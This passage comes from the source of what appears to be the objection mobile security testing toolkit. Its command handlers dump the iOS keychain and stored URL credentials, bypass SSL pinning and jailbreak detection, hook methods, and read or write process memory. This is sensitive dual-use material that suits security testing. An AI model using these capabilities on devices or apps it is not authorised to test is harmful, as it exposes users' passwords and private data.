bold=True)\n        return\n\n    target_pointer = args[0]\n    method = args[1]\n\n    if ':' in method:\n        click.secho('Unfortunately, only methods that do not require arguments are supported.', fg='yellow')\n        return\n\n    api = state_connection.get_api()\n    exec_results = api.ios_heap_exec_method(target_pointer, method, _should_return_as_string(args))\n\n    click.secho(pprint.pformat(exec_results))\n\n\ndef evaluate(args: list) -> None:\n    \"\"\"\n        Evaluate JavaScript on an Objective-C pointer.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: ios heap execute js <pointer> (eg: 0x600001130660) ' +\n                    '(optional: --inline) (optional: <JavaScript source>)', bold=True)\n        return\n\n    target_pointer = args[0]\n\n    # adding the --inline flag would trigger reading the line contents\n    # as JavaScript sources\n    if _should_interpret_inline_js(args):\n        args.remove('--inline')\n        js = ''.join(args[1:])\n\n        click.secho('Reading inline JavaScript for evaluation...', dim=True)\n        click.secho('{}\\n'.format(js), fg='green', dim=True)\n\n    else:\n        js = prompt(\n            click.secho('(The pointer at `{pointer}` will be available as the `ptr` variable.)n'.format(\n                pointer=target_pointer\n            ), dim=True),\n            multiline=True, lexer=PygmentsLexer(JavascriptLexer),\n            bottom_toolbar='JavaScript edit mode. [ESC] and then [ENTER] to accept. [CTRL] + C to cancel.').strip()\n\n        click.secho('JavaScript capture complete. Evaluating...', dim=True)\n\n    api = state_connection.get_api()\n    api.ios_heap_evaluate_js(target_pointer, js)\n"
  },
  {
    "path": "objection/commands/ios/hooking.py",
    "content": "import json\nfrom typing import Optional\n\nimport click\n\nfrom objection.state.connection import state_connection\nfrom objection.utils.helpers import clean_argument_flags\n\n# a thumb sucked list of prefixes used in Objective-C runtime\n# for iOS applications. This is not a science, but a gut feeling.\nnative_prefixes = [\n    '_',\n    'NS',\n    # '_NS',\n    # '__NS',\n    'CF',\n    'OS_',\n    'UI',\n    # '_UI',\n\n    'AWD',\n    'GEO',\n\n    'AC',\n    'AF',\n    'AU',\n    'AV',\n    'BK',\n    'BS',\n    'CA',\n    'CB',\n    'CI',\n    'CL',\n    'CT',\n    'CUI',\n    'DOM',\n    'FBS',\n    'LA',\n    'LS',\n    'MC',\n    'MTL',\n    'PFUbiquity',\n    'PKPhysics',\n    'SBS',\n    'TI',\n    'TXR',\n    'UM',\n    'Web',\n]\n\n\ndef _should_ignore_native_classes(args: list) -> bool:\n    \"\"\"\n        Checks if --ignore-native is in a list of tokens received\n        from the commandline.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        return False\n\n    return '--ignore-native' in args\n\n\ndef _should_include_parent_methods(args: list) -> bool:\n    \"\"\"\n        Checks if --include-parents exists in a list of tokens received\n        from the commandline.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        return False\n\n    return '--include-parents' in args\n\n\ndef _class_is_prefixed_with_native(class_name: str) -> bool:\n    \"\"\"\n        Check if a class name received is prefixed with one of the\n        prefixes in the native_prefixes list.\n\n        :param class_name:\n        :return:\n    \"\"\"\n\n    for prefix in native_prefixes:\n\n        if class_name.startswith(prefix):\n            return True\n\n    return False\n\n\ndef _string_is_true(s: str) -> bool:\n    \"\"\"\n        Check if a string should be considered as \"True\"\n\n        :param s:\n        :return:\n    \"\"\"\n\n    return s.lower() in ('true', 'yes')\n\n\ndef _should_dump_backtrace(args: list) -> bool:\n    \"\"\"\n        Check if --dump-backtrace is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-backtrace' in args\n\n\ndef _should_dump_args(args: list) -> bool:\n    \"\"\"\n        Check if --dump-args is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-args' in args\n\n\ndef _should_dump_return_value(args: list) -> bool:\n    \"\"\"\n        Check if --dump-return is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-return' in args\n\n\ndef _should_print_only_classes(args: list) -> bool:\n    \"\"\"\n        Check if --only-classes is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--only-classes' in args\n\n\ndef _should_dump_json(args: list) -> bool:\n    \"\"\"\n        Check if --json is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--json' in args\n\n\ndef _should_be_quiet(args: list) -> bool:\n    \"\"\"\n        Check if --quiet is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--quiet' in args\n\n\ndef _get_flag_value(flag: str, args: list) -> Optional[str]:\n    \"\"\"\n        Gets the value for a flag\n\n        :param flag:\n        :param args:\n        :return:\n    \"\"\"\n\n    target = None\n\n    for i in range(len(args)):\n        if args[i] == flag:\n            target = i + 1\n\n    if target is None:\n        return None\n    elif target < len(args):\n        return args[target]\n    else:\n        return None\n\n\ndef show_ios_classes(args: list = None) -> None:\n    \"\"\"\n        Prints the classes available in the current Objective-C\n        runtime to the screen.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    classes = api.ios_hooking_get_classes()\n\n    # loop the class names and check if we should be ignoring it.\n    for class_name in sorted(classes):\n        if _should_ignore_native_classes(args):\n            if not _class_is_prefixed_with_native(class_name):\n                click.secho(class_name)\n                continue\n\n        else:\n            click.secho(class_name)\n\n    click.secho('\\nFound {0} classes'.format(len(classes)), bold=True)\n\n\ndef show_ios_class_methods(args: list) -> None:\n    \"\"\"\n        Displays the methods available in a class.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: ios hooking list class_methods <class name> (--include-parents)', bold=True)\n        return\n\n    classname = args[0]\n\n    api = state_connection.get_api()\n    methods = api.ios_hooking_get_class_methods(classname, _should_include_parent_methods(args))\n\n    if len(methods) > 0:\n\n        # dump the methods to screen\n        for method in methods:\n            click.secho(method)\n\n        click.secho('\\nFound {0} methods'.format(len(methods)), bold=True)\n\n    else:\n        click.secho('No class / methods found')\n\n\ndef set_method_return_value(args: list) -> None:\n    \"\"\"\n        Make an Objective-C method return a specific boolean\n        value, always.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 2:\n        click.secho('Usage: ios hooking set_method_return \"<selector>\" (eg: \"-[ClassName methodName:]\") <true/false>',\n                    bold=True)\n        return\n\n    selector = args[0]\n    retval = args[1]\n\n    api = state_connection.get_api()\n    api.ios_hooking_set_return_value(selector, _string_is_true(retval))\n\n\ndef watch(args: list) -> None:\n    \"\"\"\n        Watches a pattern for invocations.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: ios hooking watch <pattern>', bold=True)\n        return\n\n    pattern = args[0]\n\n    api = state_connection.get_api()\n    api.ios_hooking_watch(pattern,\n                          _should_dump_args(args),\n                          _should_dump_backtrace(args),\n                          _should_dump_return_value(args),\n                          _should_include_parent_methods(args))\n\n\ndef search(args: list) -> None:\n    \"\"\"\n        Searches the current iOS application for classes and methods.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: ios hooking search \\'<pattern/string>\\'', bold=True)\n        return\n\n    api = state_connection.get_api()\n    pattern = args[0]\n\n    results = api.ios_hooking_search(pattern)\n    data = {}\n\n    # build a list of results to print / dump later\n    for func in results:\n        fullname = func['name']\n        start_bracket = fullname.find('[') + 1\n        class_name = fullname[start_bracket: fullname.find(' ')]\n        if data.get(class_name) is not None:\n            data[class_name].append(fullname)\n        else:\n            data[class_name] = [fullname]\n\n    if _should_dump_json(args):\n        target_file = _get_flag_value('--json', args)\n        if not target_file:\n            click.secho('A file name needs to be specified with the --json flag', fg='red')\n            return\n\n        with open(target_file, 'w') as fd:\n            fd.write(json.dumps({\n                'meta': {\n                    'runtime': 'objc'\n                },\n                'classes': data\n            }))\n            click.secho(f'JSON dumped to file {target_file}', bold=True)\n\n        return\n\n    # Print the matching methods\n    for klass in data.keys():\n        if _should_print_only_classes(args):\n            print(klass)\n            continue\n\n        methods = data[klass]\n        for method in methods:\n            print(f'{method}')\n"
  },
  {
    "path": "objection/commands/ios/jailbreak.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef disable(args: list = None) -> None:\n    \"\"\"\n        Attempts to disable jailbreak detection.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_jailbreak_disable()\n\n\ndef simulate(args: list = None) -> None:\n    \"\"\"\n        Attempts to simulate a Jailbroken environment\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_jailbreak_enable()\n"
  },
  {
    "path": "objection/commands/ios/keychain.py",
    "content": "import json\n\nimport click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef _should_output_json(args: list) -> bool:\n    \"\"\"\n        Checks if --json is in the list of tokens received from the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--json' in args\n\n\ndef _should_do_smart_decode(args: list) -> bool:\n    \"\"\"\n        Checks if --smart is in the list of tokens received from the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--smart' in args\n\n\ndef _data_flag_has_identifier(args: list) -> bool:\n    \"\"\"\n        Checks that if the data flag is specified, an identifier\n        is also passed.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if '--data' in args:\n        return any(x in args for x in ['--service', '--account'])\n\n    return True\n\n\ndef _get_flag_value(args: list, flag: str) -> str:\n    \"\"\"\n        Returns the value for a flag.\n\n        :param args:\n        :param flag:\n        :return:\n    \"\"\"\n\n    return args[args.index(flag) + 1] if flag in args else None\n\n\ndef dump(args: list = None) -> None:\n    \"\"\"\n        Dump the iOS keychain\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if _should_output_json(args) and len(args) < 2:\n        click.secho('Usage: ios keychain dump (--json <local destination>)', bold=True)\n        return\n\n    click.secho('Note: You may be asked to authenticate using the devices passcode or TouchID')\n\n    if not _should_output_json(args):\n        click.secho('Save the output by adding `--json keychain.json` to this command', dim=True)\n\n    click.secho('Dumping the iOS keychain...', dim=True)\n    api = state_connection.get_api()\n    keychain = api.ios_keychain_list(_should_do_smart_decode(args))\n\n    if _should_output_json(args):\n        destination = args[1]\n\n        click.secho('Writing keychain as json to {0}...'.format(destination), dim=True)\n\n        with open(destination, 'w') as f:\n            f.write(json.dumps(keychain, indent=2))\n\n        click.secho('Dumped keychain to: {0}'.format(destination), fg='green')\n        return\n\n    # Just dump it to the screen\n    click.secho(tabulate(\n        [[\n            entry['create_date'],\n            entry['accessible_attribute'].replace('kSecAttrAccessible',\n                                                  '') if 'accessible_attribute' in entry else None,\n            entry['access_control'],\n            entry['item_class'].replace('kSecClassGeneric', ''),\n            entry['account'],\n            entry['service'],\n            entry['data']\n        ] for entry in keychain], headers=['Created', 'Accessible', 'ACL', 'Type', 'Account', 'Service', 'Data'],\n    ))\n\n\ndef dump_raw(args: list = None) -> None:\n    \"\"\"\n        Dump the iOS keychain, but without any parsing.\n        The agent will output the entries it finds here.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    click.secho('Note: You may be asked to authenticate using the devices passcode or TouchID')\n    click.secho('Dumping the iOS keychain...', dim=True)\n    api = state_connection.get_api()\n    api.ios_keychain_list_raw()\n\n\ndef clear(args: list = None) -> None:\n    \"\"\"\n        Clear the iOS keychain.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if not click.confirm('Are you sure you want to clear the iOS keychain?'):\n        return\n\n    click.secho('Clearing the keychain...', dim=True)\n\n    api = state_connection.get_api()\n    api.ios_keychain_empty()\n\n    click.secho('Keychain cleared', fg='green')\n\n\ndef remove(args: list) -> None:\n    \"\"\"\n        Remove matching keychain entries from the keychain\n\n        :param args:\n        :return:\n    \"\"\"\n\n    account = _get_flag_value(args, '--account')\n    service = _get_flag_value(args, '--service')\n\n    if not account or not service:\n        click.secho('Either --account or --service is not set. We need both', bold=True)\n        return\n\n    click.secho('Removing entry from the iOS keychain...', dim=True)\n    click.secho('Account:  {0}'.format(account), dim=True)\n    click.secho('Service:  {0}'.format(service), dim=True)\n\n    api = state_connection.get_api()\n    api.ios_keychain_remove(account, service)\n    click.secho('Successfully removed matching keychain items', fg='green')\n\n\ndef update(args: list) -> None:\n    \"\"\"\n        Update matching keychain entry from the keychain\n\n        :param args:\n        :return:\n    \"\"\"\n\n    account = _get_flag_value(args, '--account')\n    service = _get_flag_value(args, '--service')\n    newdata = _get_flag_value(args, '--newdata')\n\n    if not account or not service or not newdata:\n        click.secho('All flags need to be set, incl. --account, --service and --newdata')\n        return\n\n    click.secho('Updating entries from the iOS keychain...', dim=True)\n    click.secho('Account:   {0}'.format(account), dim=True)\n    click.secho('Service:   {0}'.format(service), dim=True)\n    click.secho('New Data:  {0}'.format(newdata), dim=True)\n\n    api = state_connection.get_api()\n    api.ios_keychain_update(account, service, newdata)\n    click.secho('Successfully updated matching keychain item', fg='green')\n\n\ndef add(args: list) -> None:\n    \"\"\"\n        Adds a new kSecClassGenericPassword keychain entry to the keychain\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if not _data_flag_has_identifier(args):\n        click.secho('When specifying the --data flag, either --account or '\n                    '--service should also be added', fg='red')\n        return\n\n    account = _get_flag_value(args, '--account')\n    service = _get_flag_value(args, '--service')\n    data = _get_flag_value(args, '--data')\n\n    click.secho('Adding a new entry to the iOS keychain...', dim=True)\n    click.secho('Account:  {0}'.format(account), dim=True)\n    click.secho('Service:  {0}'.format(service), dim=True)\n    click.secho('Data:     {0}'.format(data), dim=True)\n\n    api = state_connection.get_api()\n    if api.ios_keychain_add(account, service, data):\n        click.secho('Successfully added the keychain item', fg='green')\n        return\n\n    click.secho('Failed to add the keychain item', fg='red')\n"
  },
  {
    "path": "objection/commands/ios/monitor.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef crypto_enable(args: list = None) -> None:\n    \"\"\"\n        Attempts to enable ios crypto monitoring.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_monitor_crypto_enable()\n"
  },
  {
    "path": "objection/commands/ios/nsurlcredentialstorage.py",
    "content": "import click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef dump(args: list = None) -> None:\n    \"\"\"\n        Dumps credentials stored in NSURLCredentialStorage\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    cookies = api.ios_credential_storage()\n\n    click.secho(tabulate(\n        [[\n            entry['protocol'],\n            entry['host'],\n            entry['port'],\n            entry['authMethod'].replace('NSURLAuthenticationMethod', ''),\n            entry['user'],\n            entry['password'],\n        ] for entry in cookies], headers=[\n            'Protocol', 'Host', 'Port', 'Authentication Method', 'User', 'Password'\n        ],\n    ))\n"
  },
  {
    "path": "objection/commands/ios/nsuserdefaults.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\n\n\ndef get(args: list = None) -> None:\n    \"\"\"\n        Gets all of the values stored in NSUserDefaults and prints\n        them to screen.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    defaults = api.ios_nsuser_defaults_get()\n\n    click.secho(defaults, bold=True)\n"
  },
  {
    "path": "objection/commands/ios/pasteboard.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef monitor(args: list = None) -> None:\n    \"\"\"\n        Starts a new objection job that monitors the iOS pasteboard\n        and reports on new strings found.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_monitor_pasteboard()\n"
  },
  {
    "path": "objection/commands/ios/pinning.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef _should_be_quiet(args: list) -> bool:\n    \"\"\"\n        Checks if --quiet is part of the\n        commands arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--quiet' in args\n\n\ndef ios_disable(args: list = None) -> None:\n    \"\"\"\n        Starts a new objection job that hooks common classes and functions,\n        applying new logic in an attempt to bypass SSL pinning.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_pinning_disable(_should_be_quiet(args))\n"
  },
  {
    "path": "objection/commands/ios/plist.py",
    "content": "import os\n\nimport click\n\nfrom objection.commands import filemanager\nfrom objection.state.connection import state_connection\nfrom objection.state.device import device_state\n\n\ndef cat(args: list = None) -> None:\n    \"\"\"\n        Parses a plist on an iOS device and echoes it in a more human\n        readable way.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: ios plist cat <remote_plist>', bold=True)\n        return\n\n    plist = args[0]\n\n    if not os.path.isabs(plist):\n        pwd = filemanager.pwd()\n        plist = device_state.platform.path_separator.join([pwd, plist])\n\n    api = state_connection.get_api()\n    plist_data = api.ios_plist_read(plist)\n\n    click.secho(plist_data, bold=True)\n"
  },
  {
    "path": "objection/commands/jobs.py",
    "content": "import click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\nfrom ..state.jobs import job_manager_state, Job\n\n\ndef show(args: list = None) -> None:\n    \"\"\"\n        Show all of the jobs that are currently running\n\n        :return:\n    \"\"\"\n\n    sync_job_manager()\n    jobs = job_manager_state.jobs\n\n    # click.secho(tabulate(\n    #     [[\n    #         entry['uuid'],\n    #         sum([\n    #             len(entry[x]) for x in [\n    #                 'invocations', 'replacements', 'implementations'\n    #             ] if x in entry\n    #         ]),\n    #         entry['type'],\n    #     ] for entry in jobs], headers=['Job ID', 'Hooks', 'Name'],\n    # ))\n    click.secho(tabulate(\n        [[\n            uuid,\n            job.job_type,\n            job.name,\n        ] for uuid, job in jobs.items()], headers=['Job ID', 'Type', 'Name'],\n    ))\n\n\ndef kill(args: list) -> None:\n    \"\"\"\n        Kills a specific objection job.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: jobs kill <uuid>', bold=True)\n        return\n\n    job_uuid = int(args[0])\n\n    job_manager_state.remove_job(job_uuid)\n\n\ndef list_current_jobs() -> dict:\n    \"\"\"\n        Return a list of the currently listed objection jobs.\n        Used for tab completion in the repl.\n    \"\"\"\n\n    sync_job_manager()\n    resp = {}\n\n    for uuid, job in job_manager_state.jobs.items():\n        resp[str(uuid)] = str(uuid)\n\n    return resp\n\n\ndef sync_job_manager() -> dict[int, Job]:\n    try:\n        api = state_connection.get_api()\n        jobs = api.jobs_get()\n\n        for job in jobs:\n            job_uuid = int(job['identifier'])\n            job_name = job['type']\n            if job_uuid not in job_manager_state.jobs:\n                job_manager_state.jobs[job_uuid] = Job(job_name, 'hook', None, job_uuid)\n\n        return job_manager_state.jobs\n    except:\n        print(\"REPL not ready\")\n\n"
  },
  {
    "path": "objection/commands/memory.py",
    "content": "import json\nimport os\nfrom typing import List\n\nimport click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\nfrom ..utils.helpers import clean_argument_flags\nfrom ..utils.helpers import sizeof_fmt, pretty_concat\n\nBLOCK_SIZE = 40960000\n\n\ndef _is_string_input(args: list) -> bool:\n    \"\"\"\n        Checks if --string is in the list of tokens received form the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--string' in args\n\n\ndef _should_only_dump_offsets(args: list) -> bool:\n    \"\"\"\n        Checks if --offsets-only is in the list pf tokens received\n        from the command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--offsets-only' in args\n\n\ndef _is_string_pattern(args: list) -> bool:\n    \"\"\"\n        Checks if --string-pattern is in the list of tokens received form the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--string-pattern' in args\n\n\ndef _is_string_replace(args: list) -> bool:\n    \"\"\"\n        Checks if --string-replace is in the list of tokens received form the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--string-replace' in args\n\n\ndef _should_output_json(args: list) -> bool:\n    \"\"\"\n        Checks if --json is in the list of tokens received from the command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--json' in args\n\n\ndef _get_chunks(addr: int, size: int, block_size: int = BLOCK_SIZE) -> List:\n    \"\"\"\n        Determine chunks of\n\n        :param addr:\n        :param size:\n        :param block_size:\n        :return:\n    \"\"\"\n\n    if size < block_size:\n        return [(addr, size)]\n\n    block_count = size // block_size\n    extra_block = size % block_size\n    current_address = addr\n    ranges = []\n\n    for i in range(block_count):\n        ranges.append((current_address, block_size))\n        current_address += block_size\n\n    if extra_block != 0:\n        ranges.append((current_address, extra_block))\n\n    return ranges\n\n\n# TODO: Dump memory on hooked methods.\n# A PR in the repo this method is based on has an idea for this\n#\n# https://github.com/Nightbringer21/fridump/pull/3\n\ndef dump_all(args: list) -> None:\n    \"\"\"\n        Dump memory from the currently injected process.\n        Loosely based on:\n            https://github.com/Nightbringer21/fridump\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: memory dump all <local destination>', bold=True)\n        return\n\n    # the destination file to write the dump to\n    destination = args[0]\n\n    # Check for file override\n    if os.path.exists(destination):\n        click.secho('Destination file {dest} already exists'.format(dest=destination), fg='yellow', bold=True)\n        if not click.confirm('Continue, appending to the file?'):\n            return\n\n    # access type used when enumerating ranges\n    access = 'rw-'\n\n    api = state_connection.get_api()\n    ranges = api.memory_list_ranges(access)\n\n    total_size = sum([x['size'] for x in ranges])\n    click.secho('Will dump {0} {1} images, totalling {2}'.format(\n        len(ranges), access, sizeof_fmt(total_size)), fg='green', dim=True)\n\n    with click.progressbar(ranges) as bar:\n        for image in bar:\n            dump = bytearray()\n            bar.label = 'Dumping {0} from base: {1}'.format(sizeof_fmt(image['size']), hex(int(image['base'], 16)))\n\n            # catch and exception thrown while dumping.\n            # this could for a few reasons like if the protection\n            # changes or the range is reallocated\n            try:\n                # grab the (size) bytes starting at the (base_address) in chunks of BLOCK_SIZE\n                chunks = _get_chunks(int(image['base'], 16), int(image['size']), BLOCK_SIZE)\n                for chunk in chunks:\n                    dump.extend(bytearray(api.memory_dump(chunk[0], chunk[1])))\n\n            except Exception as e:\n                continue\n\n            # append the results to the destination file\n            with open(destination, 'ab') as f:\n                f.write(dump)\n\n    click.secho('Memory dumped to file: {0}'.format(destination), fg='green')\n\n\ndef dump_from_base(args: list) -> None:\n    \"\"\"\n        Dump memory from a base address for a specific size to file\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 3:\n        click.secho('Usage: memory dump from_base <base_address> <size_to_dump> <local_destination>', bold=True)\n        return\n\n    # the destination file to write the dump to\n    base_address = args[0]\n    memory_size = args[1]\n    destination = args[2]\n\n    # Check for file override\n    if os.path.exists(destination):\n        click.secho('Destination file {dest} already exists'.format(dest=destination), fg='yellow', bold=True)\n        if not click.confirm('Override?'):\n            return\n\n    click.secho('Dumping {0} from {1} to {2}'.format(sizeof_fmt(int(memory_size)), base_address, destination),\n                fg='green', dim=True)\n\n    api = state_connection.get_api()\n\n    # iirc, if you don't cast the return type to a bytearray it uses the sizeof(int) per cell, which is massive\n    dump = bytearray()\n    chunks = _get_chunks(int(base_address, 16), int(memory_size), BLOCK_SIZE)\n    for chunk in chunks:\n        dump.extend(bytearray(api.memory_dump(chunk[0], chunk[1])))\n\n    # append the results to the destination file\n    with open(destination, 'wb') as f:\n        f.write(dump)\n\n    click.secho('Memory dumped to file: {0}'.format(destination), fg='green')\n\n\ndef list_modules(args: list = None) -> None:\n    \"\"\"\n        List modules loaded in the current process.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if _should_output_json(args) and len(args) < 2:\n        click.secho('Usage: memory list modules (--json <local destination>)', bold=True)\n        return\n\n    if not _should_output_json(args):\n        click.secho('Save the output by adding `--json modules.json` to this command', dim=True)\n\n    api = state_connection.get_api()\n    modules = api.memory_list_modules()\n\n    if _should_output_json(args):\n        destination = args[args.index('--json') + 1]\n\n        click.secho('Writing modules as json to {0}...'.format(destination), dim=True)\n\n        with open(destination, 'w') as f:\n            f.write(json.dumps(modules, indent=2))\n\n        click.secho('Wrote modules to: {0}'.format(destination), fg='green')\n        return\n\n    # Just dump it to the screen\n    click.secho(tabulate(\n        [[\n            entry['name'],\n            entry['base'],\n            str(entry['size']) + ' (' + sizeof_fmt(entry['size']) + ')',\n            pretty_concat(entry['path']),\n        ] for entry in modules], headers=['Name', 'Base', 'Size', 'Path'],\n    ))\n\n\ndef list_exports(args: list) -> None:\n    \"\"\"\n        Dumps the exported methods from a loaded module to screen.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if _should_output_json(args) and len(args) < 3:\n        click.secho('Usage: memory list exports <module name> (--json <local destination>)', bold=True)\n        return\n\n    if not _should_output_json(args):\n        click.secho('Save the output by adding `--json exports.json` to this command', dim=True)\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: memory list exports <module name>', bold=True)\n        return\n\n    module_to_list = args[0]\n\n    api = state_connection.get_api()\n    exports = api.memory_list_exports(module_to_list)\n\n    if _should_output_json(args):\n        destination = args[args.index('--json') + 1]\n\n        click.secho('Writing exports as json to {0}...'.format(destination), dim=True)\n\n        with open(destination, 'w') as f:\n            f.write(json.dumps(exports, indent=2))\n\n        click.secho('Wrote exports to: {0}'.format(destination), fg='green')\n        return\n\n    # Just dump it to the screen\n    click.secho(tabulate(\n        [[\n            entry['type'],\n            entry['name'],\n            entry['address'],\n        ] for entry in exports], headers=['Type', 'Name', 'Address'],\n    ))\n\n\ndef find_pattern(args: list) -> None:\n    \"\"\"\n        Searches the current processes accessible memory for a specific pattern.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: memory search \"<pattern eg: 41 41 41 ?? 41>\" (--string) (--offsets-only)', bold=True)\n        return\n\n    # if we got a string as input, convert it to hex\n    if _is_string_input(args):\n        pattern = ' '.join(hex(ord(x))[2:] for x in args[0])\n    else:\n        pattern = args[0]\n\n    click.secho('Searching for: {0}'.format(pattern), dim=True)\n\n    api = state_connection.get_api()\n    data = api.memory_search(pattern, _should_only_dump_offsets(args))\n\n    if len(data) > 0:\n        click.secho('Pattern matched at {0} addresses'.format(len(data)), fg='green')\n        if _should_only_dump_offsets(args):\n            for address in data:\n                click.secho(address)\n\n    else:\n        click.secho('Unable to find the pattern in any memory region')\n\n\ndef replace_pattern(args: list) -> None:\n    \"\"\"\n        Searches the current processes accessible memory for a specific pattern and replaces it with given bytes or string.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 2:\n        click.secho('Usage: memory replace \"<search pattern eg: 41 41 ?? 41>\" \"<replace value eg: 41 50>\" (--string-pattern) (--string-replace)', bold=True)\n        return\n\n    # if we got a string as search pattern input, convert it to hex\n    if _is_string_pattern(args):\n        pattern = ' '.join(hex(ord(x))[2:] for x in args[0])\n    else:\n        pattern = args[0]\n\n    # if we got a string as replace input, convert it to int[], otherwise convert hex to int[]\n    replace = args[1]\n    if _is_string_replace(args):\n        replace = [ord(x) for x in replace]\n    else:\n        replace = [int(x, 16) for x in replace.split(' ')]\n\n    click.secho('Searching for: {0}, replacing with: {1}'.format(pattern, args[1]), dim=True)\n\n    api = state_connection.get_api()\n    data = api.memory_replace(pattern, replace)\n\n    if len(data) > 0:\n        click.secho('Pattern replaced at {0} addresses'.format(len(data)), fg='green')\n        for address in data:\n            click.secho(address)\n\n    else:\n        click.secho('Unable to find the pattern in any memory region')\n\n\ndef write(args: list) -> None:\n    \"\"\"\n        Write an arbitrary amount of bytes to an arbitrary memory address.\n\n        Needless to say, use with caution. =P\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 2:\n        click.secho('Usage: memory write \"<address>\" \"<pattern eg: 41 41 41 41>\" (--string)', bold=True)\n        return\n\n    destination = args[0]\n    pattern = args[1]\n\n    if _is_string_input(args):\n        pattern = [ord(x) for x in pattern]\n    else:\n        pattern = [int(x, 16) for x in pattern.split(' ')]\n\n    click.secho('Writing byte array: {0} to {1}'.format(pattern, destination), dim=True)\n\n    api = state_connection.get_api()\n    api.memory_write(destination, pattern)\n"
  },
  {
    "path": "objection/commands/mobile_packages.py",
    "content": "import os\nimport shutil\n\nimport click\nimport delegator\nfrom packaging.version import Version\n\nfrom ..utils.patchers.android import AndroidGadget, AndroidPatcher\nfrom ..utils.patchers.github import Github\nfrom ..utils.patchers.ios import IosGadget, IosPatcher\n\n\ndef patch_ios_ipa(source: str, codesign_signature: str, provision_file: str, binary_name: str,\n                  skip_cleanup: bool, unzip_unicode: bool, gadget_version: str = None,\n                  pause: bool = False, gadget_config: str = None, script_source: str = None,\n                  bundle_id: str = None) -> None:\n    \"\"\"\n        Patches an iOS IPA by extracting, injecting the Frida dylib,\n        codesigning the dylib and app executable and rezipping the IPA.\n\n        :param bundle_id:\n        :param source:\n        :param codesign_signature:\n        :param provision_file:\n        :param binary_name:\n        :param skip_cleanup:\n        :param unzip_unicode:\n        :param gadget_version:\n        :param pause:\n        :param gadget_config:\n        :param script_source:\n        :return:\n    \"\"\"\n\n    github = Github(gadget_version=gadget_version)\n    ios_gadget = IosGadget(github)\n\n    # get the gadget version numbers\n    # check if a gadget version was specified. if not, get the latest one.\n    if gadget_version is not None:\n        github_version = gadget_version\n        click.secho('Using manually specified version: {0}'.format(gadget_version), fg='green', bold=True)\n    else:\n        github_version = github.get_latest_version()\n        click.secho('Using latest Github gadget version: {0}'.format(github_version), fg='green', bold=True)\n\n    # get the local version number of the stored gadget\n    local_version = ios_gadget.get_local_version('ios_universal')\n\n    # check if the local version needs updating. this can be either because\n    # the version is outdated or we simply don't have the gadget yet\n    if Version(github_version) != Version(local_version) or not 